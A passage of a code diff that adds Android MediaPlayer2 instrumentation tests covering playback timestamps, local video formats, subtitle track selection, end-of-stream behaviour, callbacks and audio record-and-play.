+        mPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        mPlayer.play();
+        mPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+        Thread.sleep(SLEEP_TIME);  // let player get into stable state.
+        long nt1 = System.nanoTime();
+        MediaTimestamp ts1 = mPlayer.getTimestamp();
+        long nt2 = System.nanoTime();
+        assertTrue("Media player should return a valid time stamp", ts1 != null);
+        assertEquals("MediaPlayer2 had error in clockRate " + ts1.getMediaClockRate(),
+                playbackRate, ts1.getMediaClockRate(), 0.001f);
+        assertTrue("The nanoTime of Media timestamp should be taken when getTimestamp is called.",
+                nt1 <= ts1.getAnchorSytemNanoTime() && ts1.getAnchorSytemNanoTime() <= nt2);
+
+        onPauseCalled.reset();
+        mPlayer.pause();
+        onPauseCalled.waitForSignal();
+        ts1 = mPlayer.getTimestamp();
+        assertTrue("Media player should return a valid time stamp", ts1 != null);
+        assertTrue("Media player should have play rate of 0.0f when paused",
+                ts1.getMediaClockRate() == 0.0f);
+
+        mPlayer.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+        mPlayer.play();
+        Thread.sleep(SLEEP_TIME);  // let player get into stable state.
+        int playTime = 4000;  // The testing clip is about 10 second long.
+        ts1 = mPlayer.getTimestamp();
+        assertTrue("Media player should return a valid time stamp", ts1 != null);
+        Thread.sleep(playTime);
+        MediaTimestamp ts2 = mPlayer.getTimestamp();
+        assertTrue("Media player should return a valid time stamp", ts2 != null);
+        assertTrue("The clockRate should not be changed.",
+                ts1.getMediaClockRate() == ts2.getMediaClockRate());
+        assertEquals("MediaPlayer2 had error in timestamp.",
+                ts1.getAnchorMediaTimeUs() + (long)(playTime * ts1.getMediaClockRate() * 1000),
+                ts2.getAnchorMediaTimeUs(), toleranceUs);
+
+        mPlayer.reset();
+    }
+
+    public void testLocalVideo_MKV_H265_1280x720_500kbps_25fps_AAC_Stereo_128kbps_44100Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz, 1280, 720);
+    }
+    public void testLocalVideo_MP4_H264_480x360_500kbps_25fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_480x360_mp4_h264_500kbps_25fps_aac_stereo_128kbps_44100hz, 480, 360);
+    }
+
+    public void testLocalVideo_MP4_H264_480x360_500kbps_30fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz, 480, 360);
+    }
+
+    public void testLocalVideo_MP4_H264_480x360_1000kbps_25fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz, 480, 360);
+    }
+
+    public void testLocalVideo_MP4_H264_480x360_1000kbps_30fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz, 480, 360);
+    }
+
+    public void testLocalVideo_MP4_H264_480x360_1350kbps_25fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_480x360_mp4_h264_1350kbps_25fps_aac_stereo_128kbps_44100hz, 480, 360);
+    }
+
+    public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz, 480, 360);
+    }
+
+    public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_128kbps_44110Hz_frag()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented,
+                480, 360);
+    }
+
+
+    public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_192kbps_44110Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz, 480, 360);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Mono_24kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Mono_24kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_22050hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_24kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_24kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_128kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_128kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Mono_24kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Mono_24kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_22050hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_24kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_24kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_128kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_128kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Mono_24kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Mono_24kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_22050hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_24kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_24kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_128kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_128kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Mono_24kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_mono_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Mono_24kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_mono_24kbps_22050hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_24kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_24kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_24kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_128kbps_11025Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz, 176, 144);
+    }
+
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_128kbps_22050Hz()
+            throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(
+                R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_22050hz, 176, 144);
+    }
+
+    private void readSubtitleTracks() throws Exception {
+        mSubtitleTrackIndex.clear();
+        List<MediaPlayer2.TrackInfo> trackInfos = mPlayer.getTrackInfo();
+        if (trackInfos == null || trackInfos.size() == 0) {
+            return;
+        }
+
+        Vector<Integer> subtitleTrackIndex = new Vector<>();
+        for (int i = 0; i < trackInfos.size(); ++i) {
+            assertTrue(trackInfos.get(i) != null);
+            if (trackInfos.get(i).getTrackType() ==
+                    MediaPlayer2.TrackInfo.MEDIA_TRACK_TYPE_SUBTITLE) {
+                subtitleTrackIndex.add(i);
+            }
+        }
+
+        mSubtitleTrackIndex.addAll(subtitleTrackIndex);
+    }
+
+    private void selectSubtitleTrack(int index) throws Exception {
+        int trackIndex = mSubtitleTrackIndex.get(index);
+        mPlayer.selectTrack(trackIndex);
+        mSelectedSubtitleIndex = index;
+    }
+
+    private void deselectSubtitleTrack(int index) throws Exception {
+        int trackIndex = mSubtitleTrackIndex.get(index);
+        mOnDeselectTrackCalled.reset();
+        mPlayer.deselectTrack(trackIndex);
+        mOnDeselectTrackCalled.waitForSignal();
+        if (mSelectedSubtitleIndex == index) {
+            mSelectedSubtitleIndex = -1;
+        }
+    }
+
+    public void testDeselectTrackForSubtitleTracks() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!checkLoadResource(R.raw.testvideo_with_2_subtitle_tracks)) {
+            return; // skip;
+        }
+
+        getInstrumentation().waitForIdleSync();
+
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                } else if (what == MediaPlayer2.MEDIA_INFO_METADATA_UPDATE) {
+                    mOnInfoCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+                    mOnSeekCompleteCalled.signal();
+                } else if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                    mOnPlayCalled.signal();
+                } else if (what == MediaPlayer2.CALL_COMPLETED_DESELECT_TRACK) {
+                    mCallStatus = status;
+                    mOnDeselectTrackCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        mPlayer.setOnSubtitleDataListener(new MediaPlayer2.OnSubtitleDataListener() {
+            @Override
+            public void onSubtitleData(MediaPlayer2 mp, SubtitleData data) {
+                if (data != null && data.getData() != null) {
+                    mOnSubtitleDataCalled.signal();
+                }
+            }
+        });
+
+        mPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mPlayer.setScreenOnWhilePlaying(true);
+        mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        mOnPlayCalled.reset();
+        mPlayer.play();
+        mOnPlayCalled.waitForSignal();
+        assertTrue(mPlayer.isPlaying());
+
+        // Closed caption tracks are in-band.
+        // So, those tracks will be found after processing a number of frames.
+        mOnInfoCalled.waitForSignal(1500);
+
+        mOnInfoCalled.reset();
+        mOnInfoCalled.waitForSignal(1500);
+
+        readSubtitleTracks();
+
+        // Run twice to check if repeated selection-deselection on the same track works well.
+        for (int i = 0; i < 2; i++) {
+            // Waits until at least one subtitle is fired. Timeout is 2.5 seconds.
+            selectSubtitleTrack(i);
+            mOnSubtitleDataCalled.reset();
+            assertTrue(mOnSubtitleDataCalled.waitForSignal(2500));
+
+            // Try deselecting track.
+            deselectSubtitleTrack(i);
+            mOnSubtitleDataCalled.reset();
+            assertFalse(mOnSubtitleDataCalled.waitForSignal(1500));
+        }
+
+        // Deselecting unselected track: expected error status
+        mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+        deselectSubtitleTrack(0);
+        assertTrue(mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR);
+
+        mPlayer.reset();
+    }
+
+    public void testChangeSubtitleTrack() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!checkLoadResource(R.raw.testvideo_with_2_subtitle_tracks)) {
+            return; // skip;
+        }
+
+        mPlayer.setOnSubtitleDataListener(new MediaPlayer2.OnSubtitleDataListener() {
+            @Override
+            public void onSubtitleData(MediaPlayer2 mp, SubtitleData data) {
+                if (data != null && data.getData() != null) {
+                    mOnSubtitleDataCalled.signal();
+                }
+            }
+        });
+
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                } else if (what == MediaPlayer2.MEDIA_INFO_METADATA_UPDATE) {
+                    mOnInfoCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                    mOnPlayCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        mPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mPlayer.setScreenOnWhilePlaying(true);
+        mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        mOnPlayCalled.reset();
+        mPlayer.play();
+        mOnPlayCalled.waitForSignal();
+        assertTrue(mPlayer.isPlaying());
+
+        // Closed caption tracks are in-band.
+        // So, those tracks will be found after processing a number of frames.
+        mOnInfoCalled.waitForSignal(1500);
+
+        mOnInfoCalled.reset();
+        mOnInfoCalled.waitForSignal(1500);
+
+        readSubtitleTracks();
+
+        // Waits until at least two captions are fired. Timeout is 2.5 sec.
+        selectSubtitleTrack(0);
+        assertTrue(mOnSubtitleDataCalled.waitForCountedSignals(2, 2500) >= 2);
+
+        mOnSubtitleDataCalled.reset();
+        selectSubtitleTrack(1);
+        assertTrue(mOnSubtitleDataCalled.waitForCountedSignals(2, 2500) >= 2);
+
+        mPlayer.reset();
+    }
+
+    public void testGetTrackInfoForVideoWithSubtitleTracks() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!checkLoadResource(R.raw.testvideo_with_2_subtitle_tracks)) {
+            return; // skip;
+        }
+
+        getInstrumentation().waitForIdleSync();
+
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                } else if (what == MediaPlayer2.MEDIA_INFO_METADATA_UPDATE) {
+                    mOnInfoCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                    mOnPlayCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        mPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mPlayer.setScreenOnWhilePlaying(true);
+        mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        mOnPlayCalled.reset();
+        mPlayer.play();
+        mOnPlayCalled.waitForSignal();
+        assertTrue(mPlayer.isPlaying());
+
+        // The media metadata will be changed while playing since closed caption tracks are in-band
+        // and those tracks will be found after processing a number of frames. These tracks will be
+        // found within one second.
+        mOnInfoCalled.waitForSignal(1500);
+
+        mOnInfoCalled.reset();
+        mOnInfoCalled.waitForSignal(1500);
+
+        readSubtitleTracks();
+        assertEquals(2, mSubtitleTrackIndex.size());
+
+        mPlayer.reset();
+    }
+
+    /*
+     *  This test assumes the resources being tested are between 8 and 14 seconds long
+     *  The ones being used here are 10 seconds long.
+     */
+    public void testResumeAtEnd() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        int testsRun =
+            testResumeAtEnd(R.raw.loudsoftmp3) +
+            testResumeAtEnd(R.raw.loudsoftwav) +
+            testResumeAtEnd(R.raw.loudsoftogg) +
+            testResumeAtEnd(R.raw.loudsoftitunes) +
+            testResumeAtEnd(R.raw.loudsoftfaac) +
+            testResumeAtEnd(R.raw.loudsoftaac);
+        if (testsRun == 0) {
+            MediaUtils.skipTest("no decoder found");
+        }
+    }
+
+    // returns 1 if test was run, 0 otherwise
+    private int testResumeAtEnd(int res) throws Throwable {
+        if (!loadResource(res)) {
+            Log.i(LOG_TAG, "testResumeAtEnd: No decoder found for " +
+                mContext.getResources().getResourceEntryName(res) +
+                " --- skipping.");
+            return 0; // skip
+        }
+        mOnCompletionCalled.reset();
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+                    mOnCompletionCalled.signal();
+                    mPlayer.play();
+                }
+            }
+        };
+        mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        // skip the first part of the file so we reach EOF sooner
+        mPlayer.seekTo(5000, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+        mPlayer.play();
+        // sleep long enough that we restart playback at least once, but no more
+        Thread.sleep(10000);
+        assertTrue("MediaPlayer2 should still be playing", mPlayer.isPlaying());
+        mPlayer.reset();
+        assertEquals("wrong number of repetitions", 1, mOnCompletionCalled.getNumSignal());
+        return 1;
+    }
+
+    public void testPositionAtEnd() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        int testsRun =
+            testPositionAtEnd(R.raw.test1m1shighstereo) +
+            testPositionAtEnd(R.raw.loudsoftmp3) +
+            testPositionAtEnd(R.raw.loudsoftwav) +
+            testPositionAtEnd(R.raw.loudsoftogg) +
+            testPositionAtEnd(R.raw.loudsoftitunes) +
+            testPositionAtEnd(R.raw.loudsoftfaac) +
+            testPositionAtEnd(R.raw.loudsoftaac);
+        if (testsRun == 0) {
+            MediaUtils.skipTest(LOG_TAG, "no decoder found");
+        }
+    }
+
+    private int testPositionAtEnd(int res) throws Throwable {
+        if (!loadResource(res)) {
+            Log.i(LOG_TAG, "testPositionAtEnd: No decoder found for " +
+                mContext.getResources().getResourceEntryName(res) +
+                " --- skipping.");
+            return 0; // skip
+        }
+        AudioAttributes attributes = new AudioAttributes.Builder()
+                .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+                .build();
+        mPlayer.setAudioAttributes(attributes);
+
+        mOnCompletionCalled.reset();
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+                    mOnCompletionCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                    mOnPlayCalled.signal();
+                }
+            }
+        };
+        mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        long duration = mPlayer.getDuration();
+        assertTrue("resource too short", duration > 6000);
+        mPlayer.seekTo(duration - 5000, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+        mOnPlayCalled.reset();
+        mPlayer.play();
+        mOnPlayCalled.waitForSignal();
+        while (mPlayer.isPlaying()) {
+            Log.i("@@@@", "position: " + mPlayer.getCurrentPosition());
+            Thread.sleep(500);
+        }
+        Log.i("@@@@", "final position: " + mPlayer.getCurrentPosition());
+        assertTrue(mPlayer.getCurrentPosition() > duration - 1000);
+        mPlayer.reset();
+        return 1;
+    }
+
+    public void testCallback() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int mp4Duration = 8484;
+
+        if (!checkLoadResource(R.raw.testvideo)) {
+            return; // skip;
+        }
+
+        mPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mPlayer.setScreenOnWhilePlaying(true);
+
+        mOnCompletionCalled.reset();
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onVideoSizeChanged(MediaPlayer2 mp, DataSourceDesc dsd,
+                    int width, int height) {
+                mOnVideoSizeChangedCalled.signal();
+            }
+
+            @Override
+            public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                mOnErrorCalled.signal();
+            }
+
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                mOnInfoCalled.signal();
+
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+                    mOnCompletionCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+                    mOnSeekCompleteCalled.signal();
+                } else if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                    mOnPlayCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        assertFalse(mOnPrepareCalled.isSignalled());
+        assertFalse(mOnVideoSizeChangedCalled.isSignalled());
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+        mOnVideoSizeChangedCalled.waitForSignal();
+
+        mOnSeekCompleteCalled.reset();
+        mPlayer.seekTo(mp4Duration >> 1, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+        mOnSeekCompleteCalled.waitForSignal();
+
+        assertFalse(mOnCompletionCalled.isSignalled());
+        mPlayer.play();
+        mOnPlayCalled.waitForSignal();
+        while(mPlayer.isPlaying()) {
+            Thread.sleep(SLEEP_TIME);
+        }
+        assertFalse(mPlayer.isPlaying());
+        mOnCompletionCalled.waitForSignal();
+        assertFalse(mOnErrorCalled.isSignalled());
+        mPlayer.reset();
+    }
+
+    public void testRecordAndPlay() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!hasMicrophone()) {
+            MediaUtils.skipTest(LOG_TAG, "no microphone");
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_AUDIO_AMR_NB)
+                || !MediaUtils.checkEncoder(MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
+            return; // skip
+        }
+        File outputFile = new File(Environment.getExternalStorageDirectory(),
+                "record_and_play.3gp");
+        String outputFileLocation = outputFile.getAbsolutePath();
+        try {
+            recordMedia(outputFileLocation);
+
+            Uri uri = Uri.parse(outputFileLocation);
+            MediaPlayer2 mp = MediaPlayer2.create();
+            try {
+                mp.setDataSource(new DataSourceDesc.Builder()
+                        .setDataSource(mContext, uri)
+                        .build());
+                mp.prepare();
+                Thread.sleep(SLEEP_TIME);
+                playAndStop(mp);
+            } finally {
+                mp.close();
+            }
+
+            try {
+                mp = createMediaPlayer2(mContext, uri);
+                playAndStop(mp);
+            } finally {
+                if (mp != null) {
+                    mp.close();
+                }
+            }
+
+            try {
+                mp = createMediaPlayer2(mContext, uri, getActivity().getSurfaceHolder());
+                playAndStop(mp);
+            } finally {
+                if (mp != null) {
+                    mp.close();
+                }
+            }
+        } finally {
+            outputFile.delete();
+        }
+    }
+
+    private void playAndStop(MediaPlayer2 mp) throws Exception {
+        mp.play();
+        Thread.sleep(SLEEP_TIME);
+        mp.reset();
+    }
+
+    private void recordMedia(String outputFile) throws Exception {
+        MediaRecorder mr = new MediaRecorder();
+        try {
+            mr.setAudioSource(MediaRecorder.AudioSource.MIC);
+            mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+            mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+            mr.setOutputFile(outputFile);
+
+            mr.prepare();
+            mr.start();
+            Thread.sleep(SLEEP_TIME);
+            mr.stop();
+        } finally {
+            mr.release();
+        }
+    }
+
+    private boolean hasMicrophone() {
+        return getActivity().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
+    // Smoke test playback from a Media2DataSource.
+    public void testPlaybackFromAMedia2DataSource() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
+        final int duration = 10000;
